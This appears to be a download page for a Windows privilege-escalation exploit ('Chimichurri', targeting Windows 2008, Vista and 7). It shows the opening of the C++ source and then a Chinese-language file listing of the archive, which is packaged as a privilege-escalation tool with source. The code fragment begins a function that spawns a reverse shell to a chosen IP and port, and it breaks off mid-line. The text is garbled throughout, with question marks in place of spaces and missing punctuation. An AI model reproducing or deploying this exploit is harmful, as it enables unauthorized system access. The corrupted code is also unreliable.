//?Chimichurri?->?Windows?2008?R1?&?R2?Windows?Vista?and?Windows?7?exploit
//?by?Cesar?Cerrudo
//?Argeniss?-?Information?Security?&?Software

//?Notes:?
//?-Must?be?run?by?a?user?with?impersonation?and?asgin?primary?token?privileges?it?can?be?used?on?IIS?7?&?7.5?SQL?Server?or?other?Windows?services.
//?-Chimichurri?is?an?argentinian?sauce?used?on?asado?and?churrasco?the?exploit?name?was?an?idea?of?Federico?Kirschbaun?thanks?Federico.

#include?“stdafx.h“

DWORD?dwPort;
LPSTR?sIP;


DWORD?SpawnReverseShell（HANDLE?hToken?DWORD?dwPortLPSTR?sIP）
{
????HANDLE?hToken2hTokenTmp;
	PROCESS_INFORMATION?pInfo;
	STARTUPINFO?????????sInfo;
	WSADATA?wd;?
	SOCKET?sock;?
	struct?sockaddr_in?sin;?
	int?size?=?sizeof（sin）;?

	memset（&sin?0?sizeof（sin））;?
	WSAStartup（MAKE

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2012-08-23?08:30??提權大殺器PR及源碼?pr.exe?提權工具+源碼\
?????目錄???????????0??2012-03-12?00:02??提權大殺器PR及源碼?pr.exe?提權工具+源碼\pr\
?????文件???????73728??2010-08-07?10:07??提權大殺器PR及源碼?pr.exe?提權工具+源碼\pr\pr.exe
?????目錄???????????0??2012-03-01?15:12??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\.svn\
?????文件?????????144??2010-07-19?09:12??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\.svn\all-wcprops
?????文件?????????293??2010-07-19?09:12??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\.svn\entries
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\.svn\prop-base\
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\.svn\props\
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\.svn\text-base\
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\.svn\tmp\
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\.svn\tmp\prop-base\
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\.svn\tmp\props\
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\.svn\tmp\text-base\
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\
?????文件????????1632??2010-07-19?09:12??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\all-wcprops
?????文件????????1475??2010-07-19?09:12??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\entries
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\prop-base\
?????文件??????????53??2010-07-19?09:09??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\prop-base\Chimichurri.ncb.svn-base
?????文件??????????53??2010-07-19?09:09??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\prop-base\Chimichurri.suo.svn-base
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\props\
?????目錄???????????0??2010-07-23?18:39??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\text-base\
?????文件????????4543??2010-07-19?09:12??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\text-base\Chimichurri.cpp.svn-base
?????文件???????60416??2010-07-19?09:10??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\text-base\Chimichurri.ncb.svn-base
?????文件?????????911??2010-07-19?09:10??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\text-base\Chimichurri.sln.svn-base
?????文件????????9216??2010-07-19?09:12??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\text-base\Chimichurri.suo.svn-base
?????文件????????3928??2010-07-19?09:10??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\text-base\Chimichurri.vcproj.svn-base
?????文件????????1316??2010-07-19?09:12??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\text-base\ReadMe.txt.svn-base
?????文件?????????296??2010-07-19?09:10??提權大殺器PR及源碼?pr.exe?提權工具+源碼\源碼\Source\Chimichurri\.svn\text-base\stdafx.cpp.svn-base
............此處省略110個文件信息